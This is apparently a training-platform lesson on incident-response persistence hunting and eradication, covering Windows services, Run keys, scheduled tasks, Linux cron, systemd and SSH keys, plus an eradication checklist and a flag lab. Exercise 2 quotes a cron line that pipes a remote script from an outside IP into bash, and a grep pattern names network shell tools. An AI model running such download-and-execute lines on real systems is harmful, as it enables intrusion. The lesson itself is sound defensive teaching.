Browse CTFs New CTF Sign in

Persistence Hunting & Eradication: Finding Everything the Attacker Left Behind

incident_response Difficulty 2–3 60 min certifiable

Theory

Prerequisites

  • CIR-K003: Live Response Triage
  • CIR-K004: Containment Decision-Making

Why This Lesson Matters

Eradication is not "delete the malware file." A thorough attacker installs 3–5 persistence mechanisms before even starting their real objective — so that if one is discovered, they still have four others. An IR team that removes only what it found during the initial investigation will face a re-compromise within days. This lesson teaches you to think like the attacker: what persistence would I install, and where would I hide it?


1. The Persistence Attacker Mindset

Attackers think in terms of resilience. A single service that gets removed means they lose access. Multiple persistence mechanisms at different privilege levels and in different locations mean they survive most cleanup attempts.

A sophisticated attacker's persistence kit might include: 1. A Windows service (survives reboots, runs as SYSTEM) 2. A scheduled task (blends with legitimate maintenance tasks) 3. A registry Run key (fires on user login) 4. An SSH authorized_key (survives password resets) 5. A cron job under a service account (quiet, low-attention)

Your job is to find all five — not just the one the EDR flagged.


2. Windows Persistence Locations — The Complete Hunt

Think of Windows persistence as having three activation triggers: boot, user login, and scheduled time.

2.1 Boot-Time Persistence (fires before user login)

# Services — the most common mechanism
Get-WmiObject Win32_Service |
  Where-Object {$_.PathName -notlike "*System32*" -and $_.PathName -notlike "*Program Files*"} |
  Select-Object Name, PathName, StartMode, State
# Flag: service binary in Temp, AppData, UsersPublic

# Registry — services can also be defined here
Get-ItemProperty "HKLM:SYSTEMCurrentControlSetServices*" |
  Where-Object {$_.ImagePath -match "Temp|AppData|Public|Users"} |
  Select-Object PSChildName, ImagePath

# Boot execute (runs very early, before most drivers)
Get-ItemProperty "HKLM:SYSTEMCurrentControlSetControlSession Manager" -Name BootExecute
# Normal: BootExecute = autocheck autochk *
# Suspicious: anything else listed here

2.2 User Login Persistence

# Registry Run keys — fire when ANY user logs in (HKLM) or specific user (HKCU)
Get-ItemProperty "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"
Get-ItemProperty "HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun"
Get-ItemProperty "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRunOnce"
# Normal: Antivirus, cloud backup clients, update agents
# Suspicious: random names, binaries in writable user paths

# Startup folders
Get-ChildItem "C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup"
Get-ChildItem "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartup"

# Winlogon hijack
Get-ItemProperty "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"
# Normal: Userinit = C:Windowssystem32userinit.exe,
# Suspicious: any additional binary appended with a comma

2.3 Scheduled Tasks

# List all scheduled tasks with their actions
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} |
  ForEach-Object {
    $action = $_.Actions | Select-Object -First 1
    [PSCustomObject]@{
      Name    = $_.TaskName
      Path    = $_.TaskPath
      Execute = $action.Execute
      Args    = $action.Arguments
      State   = $_.State
    }
  } | Where-Object {$_.Execute -match "Temp|AppData|Public|Users\[^A]"} |
  Sort-Object Name

# Look at task XML for full detail
Export-ScheduledTask -TaskName "WindowsUpdateHelper" | Out-File task_detail.xml

3. Linux Persistence Locations — The Complete Hunt

3.1 Systemd Services

# All running services not from standard package paths
systemctl list-units --type=service --state=running |
  while read name _; do
    path=$(systemctl show "$name" -p ExecStart --value 2>/dev/null | awk '{print $1}' | tr -d '=')
    if [[ "$path" != "" && "$path" != /usr* && "$path" != /bin* && "$path" != /sbin* ]]; then
      echo "$name: $path"
    fi
  done

# Services modified recently
find /etc/systemd/system /lib/systemd/system -mmin -2880 -name "*.service" 2>/dev/null

3.2 Cron Jobs

# Root crontab
crontab -l -u root

# All user crontabs
for u in $(cut -d: -f1 /etc/passwd); do
  entry=$(crontab -l -u "$u" 2>/dev/null)
  if [ -n "$entry" ]; then echo "=== $u ==="; echo "$entry"; fi
done

# System-wide cron directories
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
cat /etc/crontab

# Atjobs (at/batch — one-time scheduled commands)
ls -la /var/spool/atjobs/ 2>/dev/null || ls -la /var/spool/cron/atjobs/ 2>/dev/null

3.3 SSH Backdoors

# Unauthorised public keys
find /home /root -name "authorized_keys" 2>/dev/null |
  while read f; do
    echo "=== $f ==="; cat "$f"
  done

# Rogue SSH config (allows password auth, root login)
grep -E "PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile" /etc/ssh/sshd_config

# SSH config.d overrides (often overlooked)
find /etc/ssh/sshd_config.d/ -type f -exec cat {} ;

3.4 Other Linux Persistence

# Profile and bashrc backdoors (run on login/shell start)
grep -r "nc|curl|wget|bash -i|python|perl" /etc/profile /etc/profile.d/ /etc/bashrc 
  /home/*/.bashrc /home/*/.bash_profile /root/.bashrc /root/.bash_profile

# LD_PRELOAD hijack (library loaded into every process)
cat /etc/ld.so.preload 2>/dev/null   # should normally be empty or not exist
env | grep LD_PRELOAD

# SUID binaries added by attacker
find / -perm -4000 -newer /tmp/reference_time -type f 2>/dev/null
# (create /tmp/reference_time at the start of the investigation as a timestamp anchor)

4. Eradication: Removing Everything

Eradication must be systematic and complete. Work from a checklist, not from memory.

ERADICATION CHECKLIST — IR-2026-0608-001

Host: WS-042 (Windows)
Analyst: Alice Martin | Date: 2026-06-08 17:00 UTC

[ ] Stop and delete malicious service: WindowsUpdateHelper
    sc.exe stop WindowsUpdateHelper
    sc.exe delete WindowsUpdateHelper
    del "C:UsersPublicDocumentsupdate.exe"

[ ] Remove all scheduled tasks created during compromise window (14:30–15:00)
    Get-ScheduledTask | Where-Object {$_.Date -gt "2026-06-08T14:30:00"}

[ ] Remove malicious Run key entries
    Remove-ItemProperty "HKCU:...Run" -Name "UpdateAgent"

[ ] Remove web shell (if applicable)
    del "C:inetpubwwwrootuploadscmd.aspx"

[ ] Verify no new local accounts
    Get-LocalUser | Where-Object {$_.Enabled -eq $true}

[ ] Verify authorized_keys (if SSH present)
    Review and remove unauthorised keys

[ ] Hash all removed artefacts (for the report)
    sha256sum update.exe > removed_artefacts_hashes.txt

[ ] Confirm nothing malicious remains:
    Rerun persistence checks from Section 2 above
    → All clear before declaring eradication complete

5. Validating Eradication

Do not declare eradication complete until you have actively verified it:

# After eradication, re-run your persistence checks
# If anything new appears, the eradication was incomplete

# Run a quick integrity check on critical binaries
rpm -Va 2>/dev/null | grep "^..5"   # RHEL: files with changed MD5
debsums -c 2>/dev/null              # Debian: files that don't match package hashes

# Windows: run Autoruns (Sysinternals) after eradication
# Compare output to a known-clean baseline

6. Common Mistakes

Mistake 1: Stopping after finding the first persistence mechanism. Finding WindowsUpdateHelper does not mean it is the only one. Run the full checklist every time, no exceptions.

Mistake 2: Deleting before imaging. Always image the system before eradication. Once you delete files, they are gone from the evidence record. Image, then eradicate.

Mistake 3: Forgetting about service dependencies. A malicious service may register a DLL as a dependency. Removing the service binary without removing the DLL leaves the DLL on disk. Use sc.exe qc ServiceName to see all associated files.


7. Practice Exercises

  1. You run Get-ItemProperty "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun" and find: "WindowsUpdate" = "C:UsersobAppDataRoamingwinupd.exe". Is this suspicious? What do you do next?

  2. A cron job reads: */5 * * * * root curl http://185.220.101.5/beacon.sh | bash. Describe what it does, classify its ATT&CK technique, and list the steps to eradicate it.

  3. After eradication, your EDR fires an alert 6 hours later: the same C2 IP is contacted again. What does this mean? Where did you miss something?


8. Lab

Assessment mode: flag

challenge_spec_id: 206 — Service persistence

You are given a Windows system artefact bundle: registry export, scheduled tasks XML, and service list.

Task: 1. Find the malicious service (binary path in a writable user directory) 2. Find a second persistence mechanism in the scheduled tasks 3. The flag is: PREFIX{service_binary_name:scheduled_task_name}


9. Framework Alignment

Framework Role Competency Confidence
CCSSF-CIR Cyber Incident Responder Persistence eradication High
CCSSF-DFA Digital Forensics Analyst Artefact-based persistence identification High
CCSSF-COA Cyber Security Operations Analyst Post-alert persistence investigation High
NICE 2.2.0 Incident Responder (PR-IRP-001) K0230 — Eradication of threat actors High

10. Further Reading

  • Autoruns for Windows (Sysinternals) — The definitive persistence enumeration tool; run on every Windows IR
  • MITRE ATT&CK — Persistence Tactic (TA0003) — Full catalogue of 19 techniques
  • Oddvar Moe — Windows Persistence — https://github.com/rootm0s/WinPwnage — Reference implementation of attack techniques for defenders to understand
  • Linux Persistence Techniques — HackTricks — https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-post-exploitation/linux-persistence

Learning Objectives

["Execute a complete Windows persistence hunt covering services, registry Run keys, scheduled tasks, and Winlogon, and identify a suspicious entry in each category", "Execute a complete Linux persistence hunt covering systemd services, cron jobs, SSH authorized_keys, and bashrc, and identify a suspicious entry in at least two categories", "Produce a complete eradication checklist for a Windows host from a described compromise scenario, including stop/delete commands for each artefact and a post-eradication validation step"]

Lesson Outline

Prerequisites → Why this matters (attacker resilience mindset) → Attacker persistence kit concept → Windows persistence hunt (boot, login, scheduled tasks with PowerShell commands) → Linux persistence hunt (systemd, cron, SSH backdoors, LD_PRELOAD) → Eradication checklist template → Validating eradication → Common mistakes → Practice exercises → Lab (flag, spec 206) → Framework alignment → Further reading

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.